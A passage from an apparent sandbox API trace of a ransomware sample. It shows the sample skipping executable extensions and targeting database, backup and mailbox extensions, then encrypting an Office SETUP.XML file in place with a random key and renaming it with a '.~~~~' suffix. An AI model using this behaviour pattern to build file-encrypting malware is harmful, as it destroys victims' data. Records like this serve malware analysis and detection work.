	[0080.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0080.492] lstrlenW (lpString=".dll") returned 4
	[0080.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0080.492] lstrlenW (lpString=".bat") returned 4
	[0080.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0080.492] lstrlenW (lpString=".cpl") returned 4
	[0080.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0080.492] lstrlenW (lpString=".sys") returned 4
	[0080.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0080.492] lstrlenW (lpString=".msc") returned 4
	[0080.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0080.492] lstrlenW (lpString=".com") returned 4
	[0080.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0080.492] lstrlenW (lpString=".lnk") returned 4
	[0080.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0080.493] lstrlenW (lpString=".msp") returned 4
	[0080.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0080.493] lstrlenW (lpString=".pif") returned 4
	[0080.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0080.493] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0080.587] lstrlenW (lpString=".sqb") returned 4
	[0080.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0080.587] lstrlenW (lpString=".ost") returned 4
	[0080.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0080.587] lstrlenW (lpString=".txt") returned 4
	[0080.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0080.587] lstrlenW (lpString=".mdt") returned 4
	[0080.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0080.587] lstrlenW (lpString=".BDB") returned 4
	[0080.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0080.587] lstrlenW (lpString=".eql") returned 4
	[0080.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0080.587] lstrlenW (lpString=".DBF") returned 4
	[0080.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0080.587] lstrlenW (lpString=".EQL") returned 4
	[0080.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0080.587] lstrlenW (lpString=".FDB") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0080.588] lstrlenW (lpString=".EDB") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0080.588] lstrlenW (lpString=".DACPAC") returned 7
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0080.588] lstrlenW (lpString=".VHD") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0080.588] lstrlenW (lpString=".DBV") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0080.588] lstrlenW (lpString=".dacpac") returned 7
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0080.588] lstrlenW (lpString=".sdf") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0080.588] lstrlenW (lpString=".accdb") returned 6
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0080.588] lstrlenW (lpString=".DBX") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0080.588] lstrlenW (lpString=".MDT") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0080.588] lstrlenW (lpString=".SQB") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0080.588] lstrlenW (lpString=".vhd") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0080.588] lstrlenW (lpString=".bac") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0080.588] lstrlenW (lpString=".mdf") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0080.588] lstrlenW (lpString=".BAK") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0080.588] lstrlenW (lpString=".BAC") returned 4
	[0080.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0080.589] lstrlenW (lpString=".dbs") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0080.589] lstrlenW (lpString=".vhdx") returned 5
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0080.589] lstrlenW (lpString=".NDF") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0080.589] lstrlenW (lpString=".dat") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0080.589] lstrlenW (lpString=".DBS") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0080.589] lstrlenW (lpString=".CKP") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0080.589] lstrlenW (lpString=".edb") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0080.589] lstrlenW (lpString=".PST") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0080.589] lstrlenW (lpString=".dbf") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0080.589] lstrlenW (lpString=".SQL") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0080.589] lstrlenW (lpString=".pst") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0080.589] lstrlenW (lpString=".dbv") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0080.589] lstrlenW (lpString=".SDF") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0080.589] lstrlenW (lpString=".dtxs") returned 5
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0080.589] lstrlenW (lpString=".db3") returned 4
	[0080.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0080.590] lstrlenW (lpString=".OST") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0080.590] lstrlenW (lpString=".dbx") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0080.590] lstrlenW (lpString=".DB3") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0080.590] lstrlenW (lpString=".DAT") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0080.590] lstrlenW (lpString=".VHDX") returned 5
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0080.590] lstrlenW (lpString=".ndf") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0080.590] lstrlenW (lpString=".DB") returned 3
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0080.590] lstrlenW (lpString=".sql") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0080.590] lstrlenW (lpString=".MYD") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0080.590] lstrlenW (lpString=".DBT") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0080.590] lstrlenW (lpString=".ACCDB") returned 6
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0080.590] lstrlenW (lpString=".fdb") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0080.590] lstrlenW (lpString=".bak") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0080.590] lstrlenW (lpString=".myd") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0080.590] lstrlenW (lpString=".DTXS") returned 5
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0080.590] lstrlenW (lpString=".ckp") returned 4
	[0080.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0080.591] lstrlenW (lpString=".dbt") returned 4
	[0080.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0080.591] lstrlenW (lpString=".db") returned 3
	[0080.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0080.591] lstrlenW (lpString=".TXT") returned 4
	[0080.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0080.591] lstrlenW (lpString=".MDF") returned 4
	[0080.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0080.591] lstrlenW (lpString=".bdb") returned 4
	[0080.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0080.591] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0080.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.591] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0080.592] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.592] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0080.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0080.592] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20058249124) returned 1
	[0080.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x99e31c30, dwHighDateTime=0x1d60e1e)) 
	[0080.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0080.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0080.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0080.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e260
	[0080.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e260 | out: hHeap=0x300000) returned 1
	[0080.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.593] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0080.593] GetLastError () returned 0x0
	[0080.593] GetLastError () returned 0x0
	[0080.593] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0080.594] GetLastError () returned 0x0
	[0080.594] GetLastError () returned 0x0
	[0080.594] ReadFile (in: hFile=0x118, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x24dfec0*=0xa40, lpOverlapped=0x0) returned 1
	[0080.595] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff5c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.596] WriteFile (in: hFile=0x118, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x24dfec0*=0xa40, lpOverlapped=0x0) returned 1
	[0080.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0080.596] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.596] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.596] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.596] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.596] CloseHandle (hObject=0x118) returned 1
	[0080.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801558
	[0080.596] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.~~~~")) returned 1
	[0080.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801558 | out: hHeap=0x300000) returned 1
	[0080.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0080.597] GetLastError () returned 0x0
	[0080.597] RtlWakeConditionVariable () returned 0x365f70
	[0080.597] GetCurrentThreadId () returned 0x3a4
	[0080.597] GetCurrentThreadId () returned 0x3a4
	[0080.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0080.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ad0f0 | out: hHeap=0x300000) returned 1
	[0080.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e228 | out: hHeap=0x300000) returned 1
	[0080.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28012a0
	[0080.598] lstrlenW (lpString=".scr") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".scr") returned 0x0
	[0080.598] lstrlenW (lpString=".cmd") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".cmd") returned 0x0
	[0080.598] lstrlenW (lpString=".dll") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".dll") returned 0x0
	[0080.598] lstrlenW (lpString=".bat") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".bat") returned 0x0
	[0080.598] lstrlenW (lpString=".cpl") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".cpl") returned 0x0
	[0080.598] lstrlenW (lpString=".sys") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".sys") returned 0x0
	[0080.598] lstrlenW (lpString=".msc") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".msc") returned 0x0
	[0080.598] lstrlenW (lpString=".com") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".com") returned 0x0
	[0080.598] lstrlenW (lpString=".lnk") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".lnk") returned 0x0
	[0080.598] lstrlenW (lpString=".msp") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".msp") returned 0x0
	[0080.598] lstrlenW (lpString=".pif") returned 4
	[0080.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML", lpSrch=".pif") returned 0x0
	[0080.599] lstrlenW (lpString="msp\r\n.pif") returned 9
